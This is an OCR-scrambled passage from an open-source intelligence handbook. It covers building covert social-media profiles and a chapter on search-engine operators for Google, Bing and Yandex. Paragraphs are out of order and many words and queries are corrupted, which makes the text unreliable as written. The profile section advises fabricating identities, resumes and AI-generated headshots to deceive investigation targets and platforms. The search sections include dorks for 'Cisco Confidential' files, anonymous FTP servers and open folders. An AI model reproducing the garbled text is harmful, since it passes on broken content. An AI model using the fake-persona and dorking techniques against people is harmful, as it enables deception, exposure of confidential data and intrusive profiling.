139 intended to emulate of your ’’home". Ella Theresa Bowman Sutton November, 07 1998 (Age: 23 years) Walnut Creek, CA, USz\ Scorpio boc431 f2b4qawha 101 Maryland Ave Ne, Washington, DC 20002 Wrangler Black (BLK) Brown (BRO) / 5 ft 5 in Resume: If you want to add another layer of realism to your new online identity, you might consider posting a resume online. If your target begins investigating your profile and finds the resume, you may appear to be a real person. I find Almost Real Resume (fake.jsonresume.org) best for this purpose. It will generate artificial employment history', education, and interests. Name and Background: It may be easy to create your own alias name, but could you quickly generate a maiden name, birthday, birthplace, zodiac sign, username, password, religion, and political view? This is where sen-ices such as ElfQrin (elfqrin.com/fakeid.php) and Fake Name Generator (fakenamegenerator.com) can be beneficial. The example below was created instantly with these services. First name Middle name Last name Mother’s Maiden name Birthday Birthplace Zodiacal sign User name Password Address Car Hair color Eyes color Height 166 cm W eight 56 Kg / 123 pounds Shoe Size 7.5 Blood Type B+ ReligionJ ehovah's Witnesses Physical Space: Finally, you might consider This Rental Does Not Exist (thisrentaldoesnotexist.com). It uses the same artificial intelligence technology as This Person Does Not Exist to generate fake interior views of a home. These artificial images are intended to emulate a rental home or Air BNB profile, but they could be used if you ever need to post pictures ' Political side Independent Favorite Color Purple Favorite Comfort Food Chocolate Favorite Cereal Raisin Bran Favorite Season Spring Favorite Animal Elephant Lucky Number 2 Possession of an empty profile on a social network may suffice for your investigations. However, lack of personal details might appear suspicious to both the provider and your target. Facebook is well known for suspending accounts which do not contain personal information, and your targets may conduct their own OSINT research into your publicly available details after you begin the hunt. For most scenarios, 1 believe you should populate a minimum amount of fake details into your covert profiles. You should never provide anything which may be associated with your true identity, such as interests, occupation, or location. Because of this, 1 rely heavily on randomly-generated and Al-produced content. The resources below have helped me within my own profile creation. Consider your own needs and employer policies before proceeding with your accounts. Images: You may want a headshot within your profile which adds a layer of authenticity to your new covert account. This can also eliminate scrutiny from Facebook and Twitter when their algorithms suspect your profile to be fraudulent. I recommend This Person Does Not Exist (thispersondocsnotexist.com). This site generates a very realistic image of a "person", which is entirely generated by computers. The image you see is not a real person and should not be visible anywhere else online. Refreshing the page generates a new image. If you find this beneficial, I encourage you to generate numerous images for future use in the event the site should disappear. 140 Chapter 9 Google (google.com) Quotation Marks Search Operators Search Engines 141 Ch a pt e r Nin e Se a r c h En g in e s When your quoted search, such as "Michael Bazzell”, returns too many results, you should add to your search. When I add the term "FBI" after my name, the results reduce from 31,800 to 12,000. These results all contain pages that have the words "Michael" and "Bazzell" next to each other, and include the term "FBI" somewhere on the page. While all of these results may not be about me, the majority will be and can be easily digested. Adding the occupation, residence city, general interest, or college of the target may help eliminate unrelated results. This search technique can be vital when searching email addresses or usernames. When searching the email address of "[email protected]", without quotes, 1 receive 14,200 results. When 1 search "[email protected]" with quotes, I receive only 7 results diat actually contain that email address (which does not reach my inbox). The first stop for many researchers will be a popular search engine. The two big players in the United States are Google and Bing. This chapter will go into great detail about the advanced ways to use both and others. Most of these techniques can apply to any search engine, but many examples will be specific for these two. Much of this chapter is unchanged from the 7,h edition. There are entire books dedicated to Google searching and Google hacking. Most of these focus on penetration testing and securing computer networks. These are full of great information, but are often overkill for the investigator looking for quick personal information. A few simple rules can help locate more accurate data. No book in existence will replace practicing these techniques in a live web browser. When searching, you cannot break anything. Play around and get familiar with the advanced options. Placing a target name inside of quotation marks will make a huge difference in a quick first look for information. If I conducted a search for my name without quotes, the result is 147,000 pages that include the words "Michael" and "Bazzell". These pages do not necessarily have these words right next to each other. The word "Michael" could be next to another person’s name, while "Bazzell" could be next to yet another person's name. These results can provide inaccurate information. They may include a reference to "Michael Santo" and "Barty Bazzell", but not my name. Since technically the words "Michael" and "Bazzell" appear on the page, you are stuck with the result in your list. In order to prevent this, you should always use quotes around die name of your target. Searching for the term "Michael Bazzell", including the quotes, reduces the search results to 31,800. Each of these pages will contain the words "Michael" and "Bazzell" right next to each other. While Google and other search engines have technology in place to search related names, this is not always perfect, and does not apply to searches with quotes. For example, the search for "Michael Bazzell", without quotes, located pages that reference Mike Bazzell (instead of Michael). This same search with quotes did not locate these results. Placing quotes around any search terms tells Google to search exactly what you tell it to search. If your target's name is "Michael", you may want to consider an additional search for "Mike". If a quoted search returns nothing, or few results, you should remove the quotes and search again. Most search engines allow the use of commands within the search field. These commands are not actually part of the search terms and are referred to as operators. There are two parts to most operator searches, and each are separated by a colon. To the left of the colon is the type of operator, such as "site" (website) or "ext" (file file type. The following will Site Operator siterforbes.com "Michael Bazzell" File Type Operator "Cisco" "PowerPoint" 142 Chapter 9 The result is over 10,000,000 websites that include the words Cisco and PowerPoint in the content. However, these are not all actual PowerPoint documents. The following search refines our example for accuracy. "Cisco" filetype:ppt However, this search only displayed them. If you want to view every' page extension). To the right is the rule for the operator, such as the target domain or explain each operator and the most appropriate uses. Another operator that works with both Google and Bing is the file type filter. It allows y'ou to filter any' search results by' a single file type extension. While Google allows this operator to be shortened to "ext", Bing does not. Therefore, I will use the original "filetype" operator in my search examples. Consider the following search attempting to locate PowerPoint presentation files associated with the company Cisco. Google, and other search engines, allow the use of operators within the search string. An operator is text that is added to the search, which performs a function. My favorite operator is the "site:" function. This operator provides two benefits to the search results. First, it will only provide results of pages located on a specific domain. Second, it will provide all of the results containing the search terms on that domain. 1 will use my' name again for a demonstration. I conducted a search of "Michael Bazzell" on Google. One of the results is a link to the website forbes.com. This search result is one of multiple pages on that domain that includes a reference to me. one of the many' pages on that domain that possessed my' name within . . „ on a specific domain that includes your target of interest, tine site operator is required. Next, I conducted the following exact search. The result was all eight pages on forbes.com that include my' name within the content. This technique can be applied to any* domain. This includes social networks, blogs, and any' other website that is indexed by’ search engines. Another simple way to use this technique is to locate every' page that is part of a specific domain. A search query' of sitednteltechniques.com displays all 628 pages that are publicly’ available on my' personal website. This can be a great way to review all the content of a target's personal website without attempting to navigate the actual site. It is very’ easy to miss content by’ clicking around within a website. With this technique, y'ou should see all of the pages in a format that is easy’ to digest. Also, some of the pages on a website that the author may' consider private may’ actually' be public if he or she ever linked to them from a public page. Once Google has indexed the page, we can view the content using the "site" operator. Real World Application: While conducting private background checks, I consistendy use the site operator. A search such as site:amazon.com" and the target name can reveal interesting information. A previous background check of an applicant that signed an affidavit declaring no previous drug or alcohol dependencies produced some damaging results. The search provided user submitted reviews that he had left on Amazon in reference to books that he had purchased that assisted him with his continual addiction to controlled substances. Again, this result may have appeared somewhere in the numerous general search results of the target; however, the site operator directed me exactly where I needed to look. "Cisco Confidential" filetype:pptx Hyphen (-) Search Engines 143 pirated content, this valuable results. "Michael Bazzell" 31,800 "Michael Bazzell" -police 28,000 "Michael Bazzell" -police -FBI 22,100 "Michael Bazzell" -police -FBI -osint 6,010 "Michael Bazzell" -police -FBI -osint -books 4,320 site:irongeek.com filetypeipdf sitezirongeek.com filetype:ppt site:irongeek.com filetype:pptx "Cisco" filetype:ppt "Cisco" filetype:pptx PPTX: Microsoft PowerPoint RAR: Compressed File RTF: Rich Text Format TXT: Text File XLS: Microsoft Excel XLSX: Microsoft Excel ZIP: Compressed File JPEG: Image KML: Google Earth KMZ: Google Earth ODP: OpenOffice Present ODS: OpenOffice Spreadsheet ODT: OpenOffice Text PDF: Adobe Acrobat PNG: Image PPT: Microsoft PowerPoint Previously, Google and Bing indexed media files by type, such as MP3, MP4, AVI, and others. Due to abuse of no longer works well. 1 have found the following extensions to be indexed and provide The search operators mentioned previously are filters to include specific data. Instead, you may want to exclude some content from appearing within results. The hyphen (-) tells most search engines and social networks to exclude the text immediately following from any results. It is important to never include a space between the hyphen and filtered text. The following searches were conducted on my own name with the addition of excluded text. Following each search is the number of results returned by Google. The result is exactly 1,080 PowerPoint files of interest. There are many uses for this technique. A search of filetype:doc "resume" "target name" often provides resumes created by the target which can include cellular telephone numbers, personal addresses, work history, education information, references, and other personal information that would never be intentionally posted to the internet. The "filetype" operator can identify any file by the file type within any website. This can be combined with the "site" operator to find all files of any type on a single domain. By conducting the following searches, I was able to find several documents stored on the website irongeek.com. The result is 15,200 Microsoft PowerPoint presentations that contain Cisco within the content. This search only located the older PowerPoint format of PPT, but not newer files that may have the PPTX extension. Therefore, the following two searches would be more thorough. 7Z: Compressed File BMP: Bitmap Image DOC: Microsoft Word DOCX: Microsoft Word DWF: Autodesk GIF: Animated Image HTM: Web Page HTML: Web Page JPG: Image The second search provided an additional 12,700 files. This brings our total to over 27,000 PowerPoint files, which is overwhelming. I will begin to further filter my results in order to focus on the most relevant content for my research. The following search will display only newer PowerPoint files that contain the exact phrase Cisco Confidential within the content of the slides. InURL Operator inurkftp -inurl(http | https) filetype:pdf "osint" The following will dissect how and why this search worked. inurkftp - Instructs Google to only display addresses that contain "ftp" in the URL. filetyperpdf- Instructs Google to only display PDF documents. "osint" - Instructs Google to mandate that the exact term osint is within the content of results. InTitle Operator intide:"osint video training" allintide:training osint video 144 Chapter 9 remaining manageable inurl:/blog/ site:inteltechniques.com "Michael Bazzell" -police -FBI -osint -books -open -source 604 "Michael Bazzell" -police -FBI -osint -books -open -source -"mr. robot" 92 The final search eliminated results which included any of the restricted words. The pages that were referenced other people with my name. My goal in search filters is to dwindle the total results to a amount. When you are overwhelmed with search results, slowly add exclusions to make an impact on the amount of data to analyze. Obviously, this operator could also be used to locate standard web pages, documents, and files. The following search displays only blog posts from intekechniques.com that exist within a folder titled "blog" (WordPress). Note that the use of quotation marks prevents the query from searching "video training" within websites tided "osint". The quotes force the search of pages specifically tided "osint video training". You can add "all" to this search to force all listed words to appear in any order. The following would find any sites that have the words osint, video, and training within the tide, regardless of the order. We can also specify operators that wall focus only on the data within the URL or address of the website. Previously, the operators discussed applied to the content within die web page. My favorite search using this technique is to find File Transfer Protocol (FTP) servers that allow anonymous connections. The following search would identify any FTP servers that possess PDF files that contain the term OSINT within the file. -inurl(http | https) - Instructs Google to ignore any addresses that contain either http or https in the URL. The separator is the pipe symbol (|) located above the backslash key. It tells Google "OR". This would make sure that we excluded any standard web pages. Similar to InURL, the "InTide" operator will filter web pages by details other than the actual content of the page. This filter will only present web pages that have specific content within the tide of the page. Practically every’ web page on the internet has an official tide for the page. This is often included within the source code of the page and may not appear anywhere within the content. Most webmasters carefully create a tide that will be best indexed by search engines. If you conduct a search for "osint video training" on Google, you will receive 2,760 results. However, the following search will filter those to 5. These only include web pages that had the search terms within the limited space of a page tide. intitle:indcx.of OSINT OR Operator Asterisk Operator (*) Range Operator (..) "bonnie woodward" "1..999 comments" Related Operator related:inteltechniques.com Search Engines 145 You may have search terms that are not definitive. You may have a target that has a unique last name that is often misspelled. The "OR" (uppercase) operator returns pages that have just A, just B, or both A and B. Consider the following examples which include the number of results each. This option has been proven to be very useful over the past year. It collects a domain, and attempts to provide online content related to that address. As an example, 1 conducted a search on Google with the following syntax. "Michael Bazzell" OSINT 61,200 "Mike Bazzell" OSINT 1,390 "Michael Bazzell" OR "Mike Bazzell" OSINT 18,600 "Michael Bazell" OR "Mike Bazell" OSINT 1,160 "Michael Bazzel" OR "Mike Bazzel" OSINT 582 The "Range Operator" tells Google to search between two identifiers. These could be sequential numbers or years. As an example, OSINT Training 2015..2018 would result in pages that include the terms OSINT and training, and also include any number between 2015 and 2018.1 have used this to filter results for online news articles that include a commenting system where readers can express their views. The following search identifies websites that contain information about Bonnie Woodward, a missing person, and between 1 and 999 comments within the page. The asterisk (*) represents one or more words to Google and is considered a wild card. Google treats the * as a placeholder for a word or words within a search string. For example, "osint * training" tells Google to find pages containing a phrase that starts with "osint" followed by one or more words, followed by "training". Phrases that fit this search include: "osint video training" and "osint live classroom training". The results contain online folders that usually do not have typical website files within the folders. The first three results of this search identified the following publicly available online data folders. Each possess dozens of documents and other files related to our search term of OSINT. One provides a folder structure that allows access to an entire web server of content. Notice that none of these results points to a specific page, but all open a folder view of the data present. http://cyberwar.nl/d/ http://bitsavers.trailing-edge.com/pdf/ http://conference.hitb.org/hitbsecconf2013kul/materials/ /\n interesting way to use this search technique is while searching for online folders. We often focus on finding websites or files of interest, but we tend to ignore the presence of online folders full of content related to our search. As an example, I conducted the following search on Google. Google Search Tools Google o. "miehael bazzell" Q A3 Tools □ Books : More Settngs All results ■ * Custom range... Figure 9.01: A Google Search Tools menu. Dated Results 146 Chapter 9 The results included no references to that domain, but did associate it with my other websites, my Twitter page, my Black Hat courses, and my book on Amazon. In my investigations, this has translated a person's personal website into several social networks and friends' websites. Arytme» i S Anytmc Past hour Past 24 hours Past week Past month Pastyear i.com | OSINT & Privacy Services by Michael... ies.com ▼ nee OSINT Training by Michael Bazzell. Services tel Bazzell | Privacy, Security, and Investigations ies.com > books nee OSINT Training by Michael Bazzell. Real World Application: Whenever I was assigned a missing person case, 1 immediately searched the internet. By the time the case is assigned, many media websites had reported on the incident and social networks were full of sympathetic comments toward the family. In order to avoid this traffic, I set the search tools to only show results up to the date of disappearance. I could then focus on the online content posted about the victim before the disappearance was public. This often led to more relevant suspect leads. Google can be very sporadic when it comes to supplying date information within search results. Sometimes you will see the date that a search result was added to the Google index and sometimes you will not. This can be frustrating when you desire this information in order to identify relevant results. There is a fairly unknown technique that will force Google to always show you the date of each search result. There is a text bar at the top of ever}’ Google search result page. This allows for searching the current search terms within other Google sendees such as Images, Maps, Shopping, Videos, and others. The last option on this bar is the "Tools" link. Clicking this link will present a new row of options directly below. This provides new filters to help you focus only on the desired results. The filters will vary for each type of Google search. Figure 9.01 displays the standard search tools with the time menu expanded. The "Any time" drop-down menu will allow you to choose the time range of visible search results. The default is set to "Any time" which will not filter any results. Selecting "Past hour" will only display results that have been indexed within the hour. The other options for day, week, month, and year work the same way. The last option is "Custom range". This will present a pop-up window that will allow you to specify the exact range of dates that you want searched. This can be helpful when you want to analyze online content posted within a known time. When you modify the "Any Time" option under the Search Tools menu, you will always see a date next to each result. If you are only searching for recent information, this solves the issue. However, if you are conducting a standard search without a specific date reference, the dates next to each result are missing. To remedy this, you 0 News Shopping 0 Images https://\vww.google.com/search?q="michael+bazzell" https://www.google.com/search?q="michael+bazzeU"&tbs=cdr:l,cd_min:l/l/0 Q. x "michael bazzell* Q. All Tools 0 News 0 Videos 0 Images <? Shopping Settings : More About 29.500 results (0.30 seconds) Figure 9.02: Google results without date injection. Q. "michael bazzell" X Q All Shopping (jU News 0 Images D Books Tools Settings : More Jan 1,1 BC-Today * All results ▼ Clear Figure 9.03: Results with date injection. Google Programmable Search Engines (programmablesearchengine.google.com) Search Engines 147 inteltechniques.com ▼ lntelTechniques.com | OSINT & Privacy Services by Michael... Aug 14, 2020 — Open Source Intelligence OSINT Training by Michael Bazzoll. inteltechnlques.com ▼ lntelTechniques.com | OSINT & Privacy Services by Michael... Open Source Intelligence OSINT Training by Michael Bazzell. Notice that the result now has the date when the content was first indexed by Google. You can also now sort these results by date in order to locate the most recent information. The search tools menu also offers an "All results" menu that will allow you to choose to see "all results" or "Verbatim". The All Results will conduct a standard Google search. The Verbatim option searches exactly what you typed. One benefit of the Verbatim option is that Google will often present more results than the standard search. It digs a little deeper and gives additional results based on the exact terms you provided. can conduct a specific search that includes any results indexed between January’ 1, 1 BC and "today". The appropriate way to do this is to add "&tbs=cdr:l,cd_min:l/l/O" at the end of any standard Google search. Figure 9.02 displays the results of a search for the term "Michael Bazzell". The exact URL of the search was as follows. Now that you are ready7 to unleash the power of Google, you may’ want to consider creating your own custom search engines, which Google has rebranded to Programmable Search Engines. Google allows you to specify the exact type of searches that you want to conduct, and then create an individual search engine just for your needs. Many specialty’ websites that claim to search only social network content are simply using a custom engine Notice that the result does not include a date next to the item. Figure 9.03 displays the results of this same search with die specific data added at the end. The exact URL of this search was the following address. popular social networks at the 148 Chapter 9 Facebook Twitter Facebook.com Twirter.com Instagram.com Linkedln.com Instagram Linkedln YouTube Tumblr YouTube.com Tumblr.com This basic functionalin’ can be quite powerful. It is the method behind my custom Pastebin search engine discussed in a later chapter. In that example, I created a custom search engine that scoured dozens of specific websites in order to retrieve complete information about specific topics. This is only die first layer of a Google custom search engine. Google offers an additional element to its custom engines. This new layer, labeled Refinements, allows you to specify multiple actions within one custom search engine. The best way to explain this is to offer two unique examples. After you log in to a Google account, navigate to the website listed above. If you have never created an engine, you will be prompted to create your first. Enter the first website that you want to search. In my example, I will search inteltechniques.com. As you enter any website to search, Google will automatically create another field to enter an additional website. The second website that I will search is inteltechniques.net. Provide a name for your custom engine and select "Create". You now have a custom search engine. You can either embed this search engine into a website or view the public URL to access it from within any web browser. from Google. For our first example, we will create a basic custom search engine that only searches two specific websites. For the first example, I wanted to create a custom search engine that allowed us to search several social networks. Additionally, we will isolate the results from each network across several tabs at the top of our search results. The first step will be to create a new custom search engine by clicking "New search engine" in the left menu. Instead of specifying the two websites mentioned earlier, we will identify’ the websites to be searched as the following. While this is not a complete list of active social networks, it represents the most [. r . time of this writing. At this point, our custom search engine would search only these websites and provide all results integrated into one search result page. We now want to add refinements that will allow us to isolate the results from each social network. When each refinement is created, you will have two options of how the search will be refined. The option of Give pnonty to the sites with this label" will place emphasis on matching rules, but will also reach outside of t e ru e i minimal results are present. The second option of "Search only the sites with this label" will force oog e to remain within the search request and not disclose other sites. I recommend using the second option tor each refinement • °U & C- CSe we^s’tes» Provided a name, and created your engine, navigate to the control panel nnrinn "nj° 'leXV i^16 c°n^8urat*on of this custom search engine. On the left menu, you should see an and I- L "c k r en^ne ' ^xPanding this should present a list of your engines. Select your test engine rhe ’S' k fea^es”- will present a new option at the top of the page labeled "Refinements". Click rhe ^r°nk° 3 a nCW re^ncment f°r each of the websites in this example. You should create these in r II ame °rcer at ^Ou want t^iem to appear within the search results. For this demonstration, I created the following refinements in order, accepting the default options. Now that you have the refinements made, you must assign them each to a website. Back on the "Setup" menu option, select each social network website to open the configuration menu. Select the dropdown menu titled "Label" and select the appropriate refinement Repeat this process for each website and save your progress. You should now have a custom search engine that will not only search several specific social network websites, but it should also allow you to isolate the results for each network. Navigate back to "Setup" in the left menu and GJ osint X All Figure 9.04: A Twitter refinement in a Google Custom Search. exr.pdf extrdoc OR ext:docx XLS (Excel Spreadsheets) - exttxls OR excxlsx OR exccsv PPT (PowerPoint Files) - ext:ppt OR ext:pptx TXT (Text Docs) - ext:txt OR exf.rtf WPD (Word Perfect Docs) - exv.wpd ODT (OpenOffice Docs) - ext:odt OR exv.ods OR exnodp ZIP (Compressed Files) - ext:zip OR ext-.rar OR ext:7z select the Public URL link to see the exact address of your new engine. Go to that address and you should see a very plain search engine. You can now search any term or terms that you want and receive results for only the social networks that you specified. Additionally, you can choose to view all of the results combined or only the results of a specific network. Figure 9.04 displays the results when I searched the term osint In this example, I have selected the Twitter refinement in order to only display results from twitter.com. This will create a new tab during your search results that will allow you to isolate Microsoft Word documents. By entering both the doc and docx formats, you will be sure to get older and newer documents. The word "OR" tells Google to search either format. Repeat this process for each of the following document types with the following language for each type. Create a new custom search engine and tide it "Documents". Add only "google.com" as the website to be searched. We do not actually want to search google.com, but a website is required to get to the edit panel. Save your engine, click "Edit search engine", and then click "Setup". In the "Sites to search" portion, enable the "Search the entire web" toggle. Delete google.com from the sites to be searched. You now basically have a custom search engine that will search everything. It will essentially do the same thing as Google's home page. You can now add refinements to filter your search results. Navigate to the search features menu and add a new refinement. Tide the new refinement "PDF"; change the default setting to "Give priority to the sites with this label"; and enter the following in the "Optional word(s)" field. You can now bookmark this new search engine that you created and visit it whenever you have a target to search. You can take your custom search engines to another level by adding refinements that are not website specific. In the next example, we will make a search engine that will search the entire internet and allow us to filter by file type. This will create a refinement that will allow you to isolate only PDF documents within any search that yol conduct. Save this setting and create a new refinement. Tide it DOC; change the default search setting; and place the following in the "Optional word(s)" field. Figure 9.05 displays the results of a search for the term osint within this new engine. The All tab is selected which reveals 717,000 results. Clicking the PowerPoint presentations option (PPT) reveals 45 files which contain the term. There are endless possibilities with this technique. You could make an engine that isolated images with extensions such as jpg, jpeg, png, bmp, gif, etc. You could also replicate all of this into a custom engine that only searched a specific website. If you were monitoring threats against your company, you could isolate only these files that appear on one or more of your company's domains. Facebook Twitter Instagram Unkodln YouTube Tumblr Search Engines 149 osintj x All pef |P9 txt Figure 9.05: A Documents File Type Google Custom Search. Google Alerts (google.com/alerts) Bing (bing.com) Bing LinkFromDomain 150 Chapter 9 One negative aspect to custom Google search engines is that they only display the most relevant 100 results. These are presented in ten pages of ten results per page. If you are searching very specific terms, this may not be an issue. However, standard searches can be limiting. When you have exhausted the search options on search engines looking for a target, you will want to know if new content is posted. Checking Google results every week on the same target to see if anything new is out there will get mundane. Utilizing Google Alerts will put Google to work on locating new information. While logged in to any Google service, such as Gmail, create a new Google Alert and specify the search term, deliver)' options, and email address to which to send the alert In one of my alerts, Google will send an email daily as it finds new websites that mention "Open Source Intelligence Techniques" anywhere in the site. Another one of my alerts is for my personal website. I now receive an email when another site mentions or links to my website. Parents can use this to be notified if their child is mentioned in a website or blog. Investigators that are continuously seeking information about a target will find this beneficial. Google is not the only great search engine. While Google is the overwhelming choice of search engines used today, other sites should not be ignored, especially when having trouble locating any information on a subject Bing is Microsoft's competition to Google and provides a great search experience. In 2009, Yahoo search fyahoo.com) began using the Bing search engine to produce search results. This makes a Yahoo search redundant if a Bing search has already been conducted. The same tactics described previously, and in the numerous Google books, can be applied to any search engine. The site operator and the use of quotes both work with Bing exactly as they do with Google. Bing also introduced time filtered searching that will allow you to only show results from the last 24 hours, week, or month. There are a couple of additional operators that are important that only apply to Bing. Bing offers an option that will list ever)' website to which a target website links, and is the only search engine that offers this semce. I conducted a search on Bing of "LinkFromDomain-.inteltechniques.com". Note that there are no spaces in the entire search string and you should omit the quotation marks. This operator creates a result that includes ever)' website to which I have a link, located on any of the pages within my website. This can be useful to an investigator. When a target's website is discovered, this site can be large and contain hundreds of pages, blog entries, etc. While clicking through all of these is possible, sometimes links are hidden and cannot be seen by visually looking at the pages. This operator allows Bing to quickly pull links out of the actual code of the website. Real World Application: A police detective was assigned a runaway case where a 15-year-old had decided to leave home and stay with friends at an unknown location. After several extensive internet searches, a Google Alert was set up using the runaway's name and city of residence. Within three days, one of the alerts was for a blog identifying the runaway and where she was currendy staying. Within 30 minutes, the unhappy child was back home. Bing Contains Google Images (images.google.com) Bing Images (bing.com/images) International Search Engines Yandex (yandex.com) Earlier, I discussed searching for files with specific file extensions on Google. The "filetype" and "ext" operators that were explained both work on Bing the same way. However, Bing offers one more option to the mix. The "contains" operator allows you to expand the parameters of the file type search. As an example, a Bing search of "filetype:ppt sitexisco.com" returns 13,200 results. These include PowerPoint files stored on the domain of cisco.com. However, these results do not necessarily include links on the cisco.com website to PowerPoint files stored on other websites. A search on Bing for "contains:ppt sitexisco.com" returns 36,200 results. These include PowerPoint files that are linked from pages on the domain ofcisco.com, even if they are stored on other domains. This could include a page on cisco.com that links to a PowerPoint file on hp.com. In most cases, this search eliminates the need to conduct a filetype search, but both should be attempted. Google Images scours the web for graphical images based on a search term. Google obtains these images based on keywords for the image. These keywords are taken from the filename of the image, the link text pointing to the image, and text adjacent to the image. This is never a complete listing of all images associated with a subject, and will almost always find images completely unrelated to a target. In the case of common names, one should enclose the name in quotes and follow it with the city where the subject resides, place of employment, home town, or personal interests. This will help filter the results to those more likely to be related to the subject When results are displayed, clicking the "Tools" button wall present five new filter menus. This menu will allow you to filter results to only include images of a specific size, color, time range, image type, or license type. The most beneficial feature of Google Images is the reverse image search option. This will be explained in great detail later in the book. Search engines based in the U.S. are not the primary search sites for all countries. Visiting search sites outside of the U.S. can provide results that will not appear on Google or Bing. In Russia, Yandex is the chosen search engine. Yandex offers an English version at yandex.com. These results are often similar to Google's; however, they are usually prioritized differently. In the past, I have found unique intelligence from this site when Google let me down. In China, most people use Baidu. It does not offer an English version; however, the site is still usable. Striking the "enter" key on the keyboard after typing a search will conduct the search without the ability to understand the Chinese text. New results not visible on Google or Bing may be rare, but an occasional look on these sites is warranted. Similar to Google, Bing offers an excellent image search. Both sites autoload more images as you get toward J. end of the current results. This eliminates the need to continue to load an additional page, and leads to faster browsing. Bing also offers the advanced options available on Google, and adds the ability to filter only files with a specified layout such as square or wide. Bing provides a "filter" option in the far right of results that provides extended functionality. The People tab offers restriction for images of "Just faces" and "Head & shoulders". It also provides suggested filters with every image search. Clicking image search links may provide additional photographs of the specific target based on the listed criteria. This intelligence can lead to additional searches of previously unknown affiliations. In a previous edition of this book, I only made a brief reference to Yandex and quickly moved on. In the past few years, 1 have discovered many advanced features of Yandex which justify an expanded section. Visually, the Yandex home page and search results pages do not possess additional search operators. These options are only available by issuing a direct command within your search. While this can be more cumbersome than a Google Search Engines 151 152 Chapter 9 Exclude a word: Google and Bing allc not technically support this, but it search, the results can include much new data. Some of these searches can be overkill for daily use, but those who conduct brand reputation monitoring or extensive background checks may take advantage of this. Date specific searches: While Google provides a menu to filter your searches by date, Yandex makes you work harder for it You must specify the date range within the search. The following queries should explain the options. Include a specific word: In Google and Bing, you would place quotation marks around a word to identify pages that contain that word in diem. In Yandex, this is gained with a plus sign (+). Michael +Bazzell would mandate that the page has the word Bazzell, but not necessarily Michael. low you to use a hyphen (-) to exclude a word in a search. Yandex does seems to work fine. The official Yandex operator is the tilde (~). A typical search would look like "Michael Bazzell ~ Mike", without the quotation marks. This would identify7 websites that contained Michael Bazzell, but not Mike Bazzell. I prefer to stick with the hyphen (-) until it no longer works. Words within the same sentence: The ampersand (&) is used in this query to indicate that you want to search for multiple terms. "Hedgehog & Flamingo", without the quotation marks, would identify7 any websites that contained both of those words within one sentence. If you want the results to only include sentences that have the two words near each other, you can search "Hedgehog /2 Flamingo". This will identify7 websites that have a sentence that includes the words Hedgehog and Flamingo within two words of each other. Words within the same website: Similar to the previous method, this search identifies die searched terms within an entire website. "Hedgehog && Flamingo", without quotation marks, would identify7 pages that have both those words within the same page, but not necessarily the same sentence. You can also control the search to only include results that have those two words within a set number of sentences from each other. A search of "Hedgehog && /3 Flamingo", without the quotation marks, would identify websites that have those two words within three sentences of each other. Multiple identical words: This is a technique that I have needed several times in the past before I learned of Yandex's options. You may want to search for websites that contain a specific word more than once. An example might be if you are searching for someone that has two identical words in his or her full name. "Carina Abad Abad" would fit in this scenario. You could use quotation marks to identify7 the majority of the results, but you would filter out anything that was not exact such as Abad,Abad, Abad-Abad, or AbadAbad. This is where the exclamation point (!) comes in. A search of "ICarina lAbad lAbad", without quotation marks, would identify7 any results that included those three words regardless of spacing or punctuation. Search any word: In Google and Bing, you can use "OR" within a search to obtain results on any of the terms searched. In Yandex, this is achieved with the pipe symbol (|). This is found above the backslash (\) on your keyboard. A search of "+Bazzell Michael | Mike | M", without quotation marks, would return results for Michael Bazzell, Mike Bazzell, and M Bazzell. Exact terms: Similar to Google and Bing, quotation marks will search for exact terms. Searching "Michael Bazzell" inside of quotes would search those terms, and would avoid "Mike" or "Bazel". Missing word: You can search an exact phrase without knowing every7 word of the phrase. A search for "Open Source * Techniques" inside of quotation marks will identify7 any results that include that phrase with any word where the asterisk (*) is located. This identified not only results with the tide of this book, but also results for "Open Source Development Techniques" and "Open Source Responsive Techniques". This search can be very7 useful for identifying a person's middle name. "Michael * Bazzell" produced some interesting results. Search X Results with the word 'Mike' were excluded Cancel Web Images Video Figure 9.06: A custom Yandex search. int I Search From (isearchfrom.com) S' Open Source Intelligence Techniques: Resources for Searching... amazon.com > Open-Source-lntelligence-Techmques-... ▼ Michael Bazzell spent 18 years as a government computer crime investigator.... I think this Baidu http://www.baidu.com/s?wd=osint Sogou https:/1www.sogou.com/web?query=osint So https://www.so.com/s?q=osint Mail.ru https://go.mail.ru/search?q=osint Goo https://search.goo.ne.jp/web.jsp?MT=osint Daum https://search.daum.net/search?w=tot&q=osii Parseek http://parseek.com/Search/?q=osint Parsijoo http://parsijoo.ir/\veb?q=osint Naver https://search.naver.com/search.naver?query=osint Coccoc https://coccoc.com/search?query=osint Pipilika https://www.pipilika.com/search?q=osint Seznam https://search.seznam.cz/?q=osint If you want to search Google within a version specified for another country, this site simplifies the process. Choose the country and language, and the tool will do the rest. While testing this service, I entered Japan as my country, English as my language, an iPad as my device, and OSINT as my search term. 1 was presented a google.co.jp search page in tablet view. Many results were similar to the U.S. version, but all were in a unique order. 1 find this useful when searching for international targets when 1 do not want bias toward a U.S. user. The "News” tab of foreign searches is often catered toward that geographical audience. This can display emphasis on news articles which would otherwise be buried in a typical Google result page. date:20111201..20111231 OS1NT -Websites mentioning OSINT between December 1-31,2011 date:2011* OSINT - Websites mentioning OSINT in the year 2011 date:201112* OSINT - Websites mentioning OSINT in December of 2011 date:>20111201 OSINT - Websites mentioning OSINT after December 1,2011 Yandex Fdatei2013* "OSINT” "Michael Bazzell" -Mike — 228 answers There are hundreds of additional international search engines. Of those, most are extremely specialized and do not offer great general search. The following have been most beneficial to my international investigations, in order of usefulness. I have included a direct search URL, which could be useful for your custom search tools. Standard operators: Most of the operators explained earlier for Google and Bing should also work in Yandex. The commands for Site, Domain, Inurl, and Intitle should work the same way. Yandex maintains a list of operators at https://yandex.com/support/search/how-to-search/search-operators.html. All Yandex operators work together and multiple operators can be used to form very specific searches. Figure 9.06 displays the results for a search of any websites from 2013 with the phrase Michael Bazzell and the word OSINT while excluding the word Mike. Search Engines 153 Web Archives Google Cache (google.com) cacherwww.phonelosers.org/snowplowshow Bing Cache (bing.com) Yandex Cache (yandex.com) 154 Chapter 9 Google: Bing: Yandex: September 6, 2019 September 7,2019 September 1, 2019 When conducting a Google search, notice the result address directly below the link to the website. You will see a green down arrow that will present a menu when clicked. This menu will include a link titled '’Cached". Clicking it will load a version of the page of interest from a previous date. Figure 9.07 (first image) displays a search for phonelosers.org which returns a result that includes a cached version of the page. This version was taken four days prior to the current date, and displays information different from the current version. The second option visible within this menu, titled "Similar", identifies web pages that contain content similar to the listed result. Occasionally, you wall try to access a site and the information you are looking for is no longer there. Maybe something was removed, amended, or maybe the whole page was 